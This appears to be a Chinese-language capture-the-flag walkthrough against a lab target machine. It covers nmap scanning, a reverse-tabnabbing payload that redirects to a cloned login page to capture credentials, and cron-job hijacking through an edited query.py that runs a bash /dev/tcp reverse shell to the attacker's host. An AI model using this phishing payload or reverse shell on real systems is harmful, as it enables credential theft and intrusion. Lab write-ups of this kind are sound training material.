进入页面后又是熟悉的黑框输账号密码,我们老样子,先看ip
nmap 172.16.2.33/24
看到如下页面
由此可知靶机的ip为172.16.2.72,并且他还开放了80和22端口,那我们就可以先访问他的80端口,发现是一个登录的页面
因为我们没有账号,而且他也提供了注册的功能,那我们就先注册一个账号登录看看
登录账号之后发现有一个输入网址的地方,那我们就先随便输入一个网址,看看是什么功能,发现他给我们多了一行,点击后就会跳转到我们刚刚输入的网站,说明这是一个跳转网页的功能模块
那我们就可以利用这一漏洞来获取他的信息了,首先我们先创建一个恶意代码,命名为1.html
<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) window.opener.parent.location.replace('http:/172.16.2.24:8000/11.html');
if(window.opener != window) window.opener.parent.location.replace('http://172.16.2.24:8000/11.html');
</script>
</body>
</html>
然后复制靶机登录页面的源代码,命名为11.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<style>
body{ font: 14px sans-serif; }
.wrapper{ width: 360px; padding: 20px; }
</style>
</head>
<body>
<div class="wrapper">
<h2>Login</h2>
<p>Please fill in your credentials to login.</p>
<form action="/index.php" method="post">
<div class="form-group">
<label>Username</label>
<input type="text" name="username" class="form-control " value="">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<label>Password</label>
<input type="password" name="password" class="form-control ">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary" value="Login">
</div>
<p>Don't have an account? <a href="register.php">Sign up now</a>.</p>
</form>
</div>
</body>
</html>
然后将创建的这两个目录放到kali的目录下,开启http服务,并且开启对8888端口的监听
python -m http.server 80
nc -lvvp 8888
然后在靶机的网页中提交我们的1.html的地址,通过监听得到他的账号密码
然后我们就可以远程连接到他的主机上了
接下来我们就可以向他的定时启动文件中写入我们的木马来反弹shell,首先我们需要查看此用户组下可运行的程序
find / -group administrators 2>/dev/null
查看这个文件
发现site_status.txt文件每两分钟写入一次,就表明query.py每两分钟执行一次,因此我们就可以写入反弹shell的脚本来让query.py脚本进行执行,获取更高的权限的shell
接下来我们就可以在/home/daniel下写入shell.sh文件,进行反弹shell
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/172.16.2.24/8888 0>&1'
然后在query.py文件中添加对shell.sh脚本的执行,添加以下内容
import os
os.system('/usr/bin/bash /home/daniel/shell.sh')
然后在kali中开启对8888端口的监听,等待两分钟后反弹到shell